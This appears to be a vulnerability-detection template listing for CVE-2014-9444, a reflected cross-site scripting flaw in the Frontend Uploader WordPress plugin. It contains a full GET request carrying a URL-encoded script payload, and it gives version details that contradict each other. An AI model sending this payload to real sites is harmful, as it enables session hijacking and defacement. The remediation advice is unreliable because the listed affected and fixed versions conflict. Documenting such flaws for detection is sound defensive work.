| Title | Frontend Uploader <= 0.9.2 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Allows remote attackers to inject arbitrary web script or HTML via a crafted file name, leading to potential session hijacking, defacement, or data theft. |
| Remediation | Update to the latest version of the Frontend Uploader plugin (0.9.2) or apply the vendor-supplied patch to fix the vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.03285 |
| CVE ID | CVE-2014-9444 |
| CWE ID | CWE-79 |
| Tags | cve2014 cve wp-plugin xss wpscan packetstorm wordpress unauth frontend_uploader_project vuln |
The Frontend Uploader WordPress plugin prior to v.0.9.2 was affected by an unauthenticated Cross-Site Scripting security vulnerability.
GET /?page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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